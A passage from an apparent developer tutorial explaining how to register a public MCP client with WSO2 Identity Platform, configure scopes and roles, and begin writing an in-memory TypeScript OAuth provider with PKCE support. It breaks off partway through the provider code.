<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"issuer"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://api.asgardeo.io/t/&lt;organization&gt;/oauth2/token"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"authorization_endpoint"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://api.asgardeo.io/t/&lt;organization&gt;/oauth2/authorize"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"token_endpoint"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://api.asgardeo.io/t/&lt;organization&gt;/oauth2/token"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"jwks_uri"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"https://api.asgardeo.io/t/&lt;organization&gt;/oauth2/jwks"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token property" style="color:#1F4FFF">"code_challenge_methods_supported"</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">"S256"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"plain"</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p>Check three things:</p>
<ul>
<li class=""><code>issuer</code> matches the value in <code>authorization_servers</code> exactly. A client rejects metadata whose issuer doesn't match.</li>
<li class=""><code>code_challenge_methods_supported</code> includes <code>S256</code>. MCP clients refuse to start authorization without it, because they can't confirm PKCE support.</li>
<li class=""><code>authorization_endpoint</code> and <code>token_endpoint</code> are present. That's where the client will send the user and exchange the authorization code.</li>
</ul>
<p>You may notice that our MCP server also answers at <code>http://localhost:3000/.well-known/oauth-authorization-server</code>. The WSO2 SDK serves that short copy for older MCP clients. Current clients follow the issuer to WSO2 Identity Platform, as we just did, so always check the metadata there.</p>
<p>We've now connected the discovery process to a real authorization server.</p>
<p>Our MCP server advertises its protected resource information, while WSO2 Identity Platform publishes the authorization configuration.</p>
<p>We haven't implemented any OAuth endpoints ourselves.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="how-does-the-authorization-server-know-our-client">How does the authorization server know our client?<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#how-does-the-authorization-server-know-our-client" class="hash-link" aria-label="Direct link to How does the authorization server know our client?" title="Direct link to How does the authorization server know our client?" translate="no">​</a></h2>
<p>Finding the authorization server is only part of the flow. The authorization server also needs to identify the application requesting access.</p>
<p>That's what OAuth client registration is for.</p>
<p>MCP supports three ways for a client to identify itself:</p>
<ul>
<li class="">Preregistration: the application receives a client ID before beginning authorization.</li>
<li class="">Client ID Metadata Documents: the client identifies itself through an HTTPS URL hosting its metadata.</li>
<li class="">Dynamic Client Registration: the client registers programmatically, when the authorization server supports it.</li>
</ul>
<p>For our example, we'll preregister the client with WSO2 Identity Platform. We already know which authorization server we're using, so there's no need to introduce dynamic registration into the first working flow.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="register-our-mcp-client">Register our MCP client<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#register-our-mcp-client" class="hash-link" aria-label="Direct link to Register our MCP client" title="Direct link to Register our MCP client" translate="no">​</a></h3>
<p>WSO2 Identity Platform has an application template made for MCP clients. In the Console:</p>
<ol>
<li class="">Go to <strong>Applications</strong> &gt; <strong>New Application</strong>.</li>
<li class="">Select <strong>MCP Client Application</strong>.</li>
<li class="">Fill in the wizard:<!-- -->
<ul>
<li class=""><strong>Name</strong>: any name you'll recognize, such as <code>Local MCP Client</code>.</li>
<li class=""><strong>Authorized redirect URL</strong>: <code>http://127.0.0.1:3030/callback</code>.</li>
<li class=""><strong>Public client</strong>: leave it enabled.</li>
</ul>
</li>
<li class="">Click <strong>Create</strong>.</li>
<li class="">Open the application's <strong>Protocol</strong> tab and copy its <strong>Client ID</strong>.</li>
<li class="">On the same tab, under <strong>Access Token</strong>, check that the token type is <strong>JWT</strong>. Our server validates tokens itself using WSO2 Identity Platform's signing keys, so it can't accept opaque tokens.</li>
</ol>
<p>The redirect URL is where WSO2 Identity Platform sends the authorization code after the user signs in. Our TypeScript client will listen on exactly that URL, so the hostname, port, and path must match.</p>
<p>The client runs on your machine and can't keep a secret, so it's a public client. Instead of a client secret, it proves the token request came from the same client that started authorization, using PKCE.</p>
<p>The <a href="https://wso2.com/identity-platform/docs/guides/agentic-ai/mcp/register-mcp-client-app/" target="_blank" rel="noopener noreferrer" class="">Setting up MCP Clients</a> guide covers this template in more detail.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="configure-access-to-the-mcp-resource">Configure access to the MCP resource<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#configure-access-to-the-mcp-resource" class="hash-link" aria-label="Direct link to Configure access to the MCP resource" title="Direct link to Configure access to the MCP resource" translate="no">​</a></h3>
<p>The client can now start authorization, but it can't request access to anything yet. WSO2 Identity Platform needs to know about our MCP server, which scope it accepts, and who may use it.</p>
<p>For this tutorial, we'll use a scope named <code>mcp:tools</code>. It's an example scope, not one defined by the MCP specification.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="register-the-mcp-server">Register the MCP server<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#register-the-mcp-server" class="hash-link" aria-label="Direct link to Register the MCP server" title="Direct link to Register the MCP server" translate="no">​</a></h4>
<ol>
<li class="">Go to <strong>Resources</strong> &gt; <strong>MCP Servers</strong> and click <strong>+ New MCP Server</strong>.</li>
<li class="">Enter:<!-- -->
<ul>
<li class=""><strong>Identifier</strong>: <code>http://localhost:3000/mcp</code></li>
<li class=""><strong>Display Name</strong>: any name, such as <code>Local Add Server</code>.</li>
</ul>
</li>
<li class="">Click <strong>Next</strong>.</li>
<li class="">In the <strong>Scopes</strong> step, add <code>mcp:tools</code> with a display name and description, then click <strong>Add Scope</strong>. The display name and description appear on the consent page.</li>
<li class="">Click <strong>Create</strong>.</li>
</ol>
<p>The identifier must match <code>MCP_RESOURCE</code> in <code>.env</code> exactly. WSO2 Identity Platform puts it in the token's <code>aud</code> claim, and our server only accepts tokens whose <code>aud</code> matches.</p>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="authorize-the-client-to-use-it">Authorize the client to use it<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#authorize-the-client-to-use-it" class="hash-link" aria-label="Direct link to Authorize the client to use it" title="Direct link to Authorize the client to use it" translate="no">​</a></h4>
<ol>
<li class="">Go to <strong>Applications</strong> and open the client you created.</li>
<li class="">Open the <strong>Authorization</strong> tab and click <strong>Authorize a resource</strong>.</li>
<li class="">Select the MCP server as the <strong>Resource</strong>, and select <code>mcp:tools</code> under <strong>Authorized Scopes</strong>.</li>
<li class="">Click <strong>Finish</strong>.</li>
</ol>
<h4 class="anchor anchorTargetStickyNavbar_Vzrq" id="give-your-user-a-role">Give your user a role<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#give-your-user-a-role" class="hash-link" aria-label="Direct link to Give your user a role" title="Direct link to Give your user a role" translate="no">​</a></h4>
<p>Authorizing the application isn't enough on its own. The signed-in user also needs a role that grants the scope.</p>
<ol>
<li class="">Go to <strong>User Management</strong> &gt; <strong>Roles</strong> and click <strong>New Role</strong>.</li>
<li class="">Enter a role name, choose <strong>Application</strong> as the audience, and select your MCP client application.</li>
<li class="">Click <strong>Next</strong>, select the MCP server, and grant the <code>mcp:tools</code> permission.</li>
<li class="">Click <strong>Finish</strong>.</li>
<li class="">Open the new role's <strong>Users</strong> tab, click <strong>Assign User</strong>, select the user you'll sign in as, and click <strong>Update</strong>.</li>
</ol>
<p>The <a href="https://wso2.com/identity-platform/docs/guides/agentic-ai/mcp/mcp-server-authorization/" target="_blank" rel="noopener noreferrer" class="">Securing MCP Servers</a> and <a href="https://wso2.com/identity-platform/docs/guides/users/manage-roles/" target="_blank" rel="noopener noreferrer" class="">Manage roles</a> guides cover these screens in more detail.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="add-the-client-configuration">Add the client configuration<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#add-the-client-configuration" class="hash-link" aria-label="Direct link to Add the client configuration" title="Direct link to Add the client configuration" translate="no">​</a></h3>
<ol>
<li class="">
<p>Return to the project directory.</p>
</li>
<li class="">
<p>Open <code>.env</code> and add:</p>
<div class="language-dotenv codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-dotenv codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">MCP_CLIENT_ID=&lt;your-public-client-id&gt;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MCP_SERVER_URL=http://localhost:3000/mcp</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MCP_SCOPE=mcp:tools</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>Keep the existing <code>BASE_URL</code> and <code>MCP_RESOURCE</code> values.</p>
</li>
</ol>
<p>We now have the values needed for our client to identify the MCP server and its OAuth registration.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="consent-inside-an-agent-run">Consent inside an agent run<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#consent-inside-an-agent-run" class="hash-link" aria-label="Direct link to Consent inside an agent run" title="Direct link to Consent inside an agent run" translate="no">​</a></h2>
<p>We're ready to add OAuth to our client.</p>
<p>But there's an important difference between calling a tool and authorizing access to it.</p>
<p>Our application can make an MCP request automatically. It can't automatically grant the user's consent.</p>
<p>When authorization is required, it needs to send the user to the authorization server.</p>
<p>For this tutorial, we'll complete authorization before an agent begins calling tools.</p>
<p>The flow will look like this:</p>
<figure class="flow_hvWA"><figcaption class="title__OHd">Authorizing the MCP connection</figcaption><ol class="steps_ptmz" aria-label="Authorizing the MCP connection"><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Application connects to the MCP server</span></div></li><li class="item_fcGx"><div class="box_IgAy error_eDz4"><span class="text_K99R code_IywH">401 Unauthorized</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">SDK discovers the authorization server</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Application presents the authorization URL</span></div></li><li class="item_fcGx"><div class="box_IgAy accent_cbUk"><span class="label_vt37">User</span><span class="text_K99R">Signs in and authorizes access</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">Application receives the callback</span></div></li><li class="item_fcGx"><div class="box_IgAy"><span class="text_K99R">SDK exchanges the authorization code</span></div></li><li class="item_fcGx"><div class="box_IgAy success_R_Rq"><span class="text_K99R">Client reconnects with credentials</span></div></li></ol></figure>
<p>We'll implement this interaction in a local TypeScript application.</p>
<p>Once the client can authorize successfully, an agent framework can use the same connection.</p>
<p>If authorization becomes necessary halfway through an agent run, the application needs to pause the affected operation and resume it after consent. We'll come back to that at the end.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-do-the-tokens-live">Where do the tokens live?<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#where-do-the-tokens-live" class="hash-link" aria-label="Direct link to Where do the tokens live?" title="Direct link to Where do the tokens live?" translate="no">​</a></h2>
<p>Our application also needs somewhere to store OAuth credentials.</p>
<p>The MCP TypeScript SDK defines an <code>OAuthClientProvider</code> interface for supplying client registration information, temporary authorization state, and tokens.</p>
<p>The SDK handles the protocol operations. Our provider determines how application-specific information is retained and how authorization is presented to the user.</p>
<p>We'll start by keeping the credentials in memory.</p>
<p>That means closing the program discards them, and every run starts with a fresh sign-in. Persistent, per-user storage is a production concern, and we'll come back to it at the end.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="create-the-oauth-provider">Create the OAuth provider<a href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#create-the-oauth-provider" class="hash-link" aria-label="Direct link to Create the OAuth provider" title="Direct link to Create the OAuth provider" translate="no">​</a></h3>
<p>The provider is a class the SDK calls back into during the OAuth flow. We never call these methods ourselves. Whenever the SDK needs to read or save something, such as the client ID, a token, or the PKCE verifier, it calls the matching method on our provider.</p>
<ol>
<li class="">
<p>Install the <code>open</code> package, which opens a URL in the default browser on macOS, Windows, and Linux:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npm install --save-exact open@11.0.4</span><br></span></code></pre></div></div>
</li>
<li class="">
<p>In the project directory, create <code>oauth-provider.ts</code> and add the code below.</p>
</li>
</ol>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> randomUUID </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'node:crypto'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> open </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'open'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">type</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  OAuthClientProvider</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  OAuthClientInformationContext</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  OAuthDiscoveryState</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/client'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">type</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Tokens</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> NonNullable</span><span class="token operator">&lt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  Awaited</span><span class="token operator">&lt;</span><span class="token plain">ReturnType</span><span class="token operator">&lt;</span><span class="token plain">OAuthClientProvider</span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">'tokens'</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token operator">&gt;&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token operator">&gt;</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">class</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">LocalOAuthProvider</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">implements</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">OAuthClientProvider</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">readonly</span><span class="token plain"> redirectUrl </span><span class="token operator">=</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token string" style="color:#15803D">'http://127.0.0.1:3030/callback'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">readonly</span><span class="token plain"> clientMetadata </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    client_name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Example MCP Client'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    redirect_uris</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">redirectUrl</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    application_type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'native'</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">as</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    scope</span><span class="token operator">:</span><span class="token plain"> process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MCP_SCOPE</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> storedTokens</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> Tokens</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> verifier</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> discovery</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> OAuthDiscoveryState</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  lastState</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">constructor</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">readonly</span><span class="token plain"> clientId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">readonly</span><span class="token plain"> issuer</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">clientInformation</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    context</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> OAuthClientInformationContext</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">context </span><span class="token operator">&amp;&amp;</span><span class="token plain"> context</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">issuer </span><span class="token operator">!==</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">issuer</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">undefined</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      client_id</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">clientId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      issuer</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">issuer</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">tokens</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">storedTokens</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">saveTokens</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tokens</span><span class="token operator">:</span><span class="token plain"> Tokens</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">storedTokens </span><span class="token operator">=</span><span class="token plain"> tokens</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">state</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">lastState </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">randomUUID</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">lastState</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">saveCodeVerifier</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">value</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">verifier </span><span class="token operator">=</span><span class="token plain"> value</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">codeVerifier</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" 